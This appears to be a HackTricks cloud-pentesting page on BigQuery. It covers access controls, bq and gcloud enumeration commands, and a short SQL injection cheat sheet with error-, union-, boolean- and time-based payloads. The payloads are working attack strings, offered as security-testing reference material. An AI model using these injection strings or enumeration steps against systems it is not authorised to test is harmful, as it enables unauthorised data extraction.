# GCP - Bigquery Enum
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## Basic Information
Google Cloud BigQuery is a **fully-managed, serverless enterprise data warehouse**, offering capabilities for **analysis over petabytes** of data, thus handling large-scale datasets efficiently. As a Platform as a Service (PaaS), it provides users with infrastructure and tools to facilitate data management without the need for manual oversight.
It supports querying using **ANSI SQL**. The main objects are **datasets** containing **tables** containing SQL **data**.
### Encryption
By default a **Google-managed encryption key** is used although it's possible to configure a **Customer-managed encryption key (CMEK)**. It's possible to indicate the encryption key per dataset and per table inside a dataset.
### Expiration
It's possible to indicate an **expiration time in the dataset** so any new table created in this dataset will be **automatically deleted** the specified number of days after creation.
### External Sources
Bigquery is deeply integrated with other Google services. It's possible to load data from buckets, pub/sub, google drive, RDS databases...
### Dataset ACLs
When a dataset is created **ACLs are attached** to give access over it. By default it's given **Owner** privileges over the **user that created** the dataset and then **Owner** to the group **projectOwners** (Owners of the project), **Writer** to the group **projectWriters,** and **Reader** to the group **projectReaders**:
```bash
bq show --format=prettyjson :
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
```
### Table Rows Control Access
It's possible to **control the rows a principal is going to be able to access inside a table** with row access policies. These are defined inside the table using [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement).\
The access policy defines a filter and **only the matching rows** with that filter are going to be **accessible** by the indicated principals.
```sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
```
```bash
# Enumerate row policies on a table
bq ls --row_access_policies :.
# Get row policies
```
### Columns Access Control
To restrict data access at the column level:
1. **Define a taxonomy and policy tags**. Create and manage a taxonomy and policy tags for your data. [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. Optional: Grant the **Data Catalog Fine-Grained Reader role to one or more principals** on one or more of the policy tags you created.
3. **Assign policy tags to your BigQuery columns**. In BigQuery, use schema annotations to assign a policy tag to each column where you want to restrict access.
4. **Enforce access control on the taxonomy**. Enforcing access control causes the access restrictions defined for all of the policy tags in the taxonomy to be applied.
5. **Manage access on the policy tags**. Use [Identity and Access Management](https://cloud.google.com/iam) (IAM) policies to restrict access to each policy tag. The policy is in effect for each column that belongs to the policy tag.
When a user tries to access column data at query time, BigQuery **checks the column policy tag and its policy to see whether the user is authorized to access the data**.
{% hint style="success" %}
As summary, to restrict the access to some columns to some users, you can **add a tag to the column in the schema and restrict the access** of the users to the tag enforcing access control on the taxonomy of the tag.
{% endhint %}
To enforce access control on the taxonomy it's needed to enable the service:
```bash
gcloud services enable bigquerydatapolicy.googleapis.com
```
It's possible to see the tags of columns with:
{% code overflow="wrap" %}
```bash
bq show --schema :.
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
```
{% endcode %}
### Enumeration
{% code overflow="wrap" %}
```bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls : # List tables in a dataset
bq show --format=prettyjson : # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson :.
# Get table info
bq show --schema :.
# Get schema of a table
# Get entries from the table
bq head .
"gs:///table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy : # Get dataset IAM policy
bq show --format=prettyjson : # Get dataset ACLs
bq get-iam-policy :.
# Get table IAM policy
bq ls --row_access_policies :.
# Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe --location=
gcloud data-catalog taxonomies list --location #Find more
gcloud data-catalog taxonomies get-iam-policy --location=
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location= show --format=prettyjson --job=true
# Misc
bq show --encryption_service_account # Get encryption service account
```
{% endcode %}
### BigQuery SQL Injection
For further information you can check the blog post: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). Here just some details are going to be given.
**Comments**:
* `select 1#from here it is not working`
* `select 1/*between those it is not working*/` But just the initial one won't work
* `select 1--from here it is not working`
Get **information** about the **environment** such as:
* Current user: `select session_user()`
* Project id: `select @@project_id`
Concat rows:
* All table names: `string_agg(table_name, ', ')`
Get **datasets**, **tables** and **column** names:
* **Project** and **dataset** name:
{% code overflow="wrap" %}
```sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```
{% endcode %}
* **Column** and **table** names of **all the tables** of the dataset:
{% code overflow="wrap" %}
```sql
# SELECT table_name, column_name FROM ..INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM ..INFORMATION_SCHEMA.COLUMNS
```
{% endcode %}
* **Other datasets** in the same project:
{% code overflow="wrap" %}
```sql
# SELECT catalog_name, schema_name, FROM .INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM .INFORMATION_SCHEMA.SCHEMATA
```
{% endcode %}
**SQL Injection types:**
* Error based - casting: `select CAST(@@project_id AS INT64)`
* Error based - division by zero: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
* Union based (you need to use ALL in bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
* Boolean based: ``' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#``
* Potential time based - Usage of public datasets example: ``SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000``
**Documentation:**
* All function list: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
* Scripting statements: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
### Privilege Escalation & Post Exploitation
{% content-ref url="../gcp-privilege-escalation/gcp-bigquery-privesc.md" %}
[gcp-bigquery-privesc.md](../gcp-privilege-escalation/gcp-bigquery-privesc.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../gcp-persistence/gcp-bigquery-persistence.md" %}
[gcp-bigquery-persistence.md](../gcp-persistence/gcp-bigquery-persistence.md)
{% endcontent-ref %}
## References
* [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)
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Support HackTricks
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{% endhint %}
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